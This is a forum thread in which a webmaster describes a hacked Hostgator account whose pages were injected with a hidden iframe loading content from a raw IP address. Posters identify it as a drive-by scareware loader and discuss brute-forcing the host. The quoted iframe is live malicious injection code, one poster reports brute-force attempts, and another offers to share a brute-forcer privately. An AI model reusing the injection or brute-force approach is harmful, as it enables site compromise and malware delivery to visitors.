Hostgator account hacked

My hostgator account is hacked.

Adsense is removed and this code is added to about 30 sites:

<iframe src="http://81.95.150.98/ss1/in.cgi?10" style="visibility: hidden;" height="1" width="1"></iframe>

What would be the purpose of doing this? Whats in it for the bastard hacking my account?

 

drive by malware or trojan. But then most hacks are a crime of opportunity.

 

if he placed his adsense code on your account then he would be gaining profit from your sites...

 

He is not placing adsense on the sites, he remove my adsense.

I am very curious to hear what hostgator have to say.

 

it seems to be something that runs a cgi application for someone every time one of your pages are loaded. http://www.google.com/search?hl=en&...S:official&hs=0Hr&q=ss1/in.cgi?10&btnG=Search
EDIT:
It is a popup frame, it will give you a popup, and the like.
it seems to not be working, but if you replace the "10" with a "2" it will give you the popups.

It crashed my browser though.

 

Ok, that one is a popup for MalwareAlarm. A real scammer anti spyware program.
Then how to get back at them malwarealarm.com.

 

Have you contacted hostgator?

 

Yes. Hope they will come up with an answer on how that was possible.

 

http://whois.domaintools.com/81.95.150.98 - the whois of the IP address.
That is in case you want to complain to the server host, though I kind of doubt they'd do anything.

Reset all of your passwords, and scan your computer for keyloggers/spyware.

Them removing your adsense was an idiotic idea.

 

I had a aimilar issue with my hostgator acount where 100+ wordpress blogs were attacked and i had to reinstall wordpress in all.
Hostgator still says they didnt see any problem

 

does hostgator have brute force protection?

 

Hostgator didnt see a problem??? Did they think that you did lie to them?

I also had about 10 wordpress sites on the account and that was the only sites that was not affected. All normal sites was hacked. (Looks like its only the index pages of all sites).

I was noticing that my adsense was going down, but thought at first that it was normal variations in the serps, but then I visited a site by accident and discovered this shit.

 

I had someone hack one of my accounts on hostgator and they simply said "Nothing seems wrong here" while I lost tons of data.
No wonder I switched

 

IMHO hostgator is a very insecure web host.

They don't have brute force detection, which means that someone could brute force the root password (I tried 20, times, personally) and do whatever to as many sites as they like.

 

Did you use brute force and managed to hack when you tested it?

 

yuppppp.....Brute Force Is The Power Full Attack.....Just Contact With The Host And Explain Them Every Thing.....If they Did Not help You Than Simply Change Your Host

Thanks

 

No I didn't hack it but I attempted.

Just to see if people could do it.

 

Nope, but it would be in their best interests to do it

 

I would like to try a brute force attack on my own account and put the results right up in hostgators face, , but how can I do it. Is it software ready to do that. I prefer to get a PM with info on this if someone can tell me how to do it.

 

I have a http auth brute forcer at home.
I'll PM you later if you promise not to redistibutr it or use it illegally.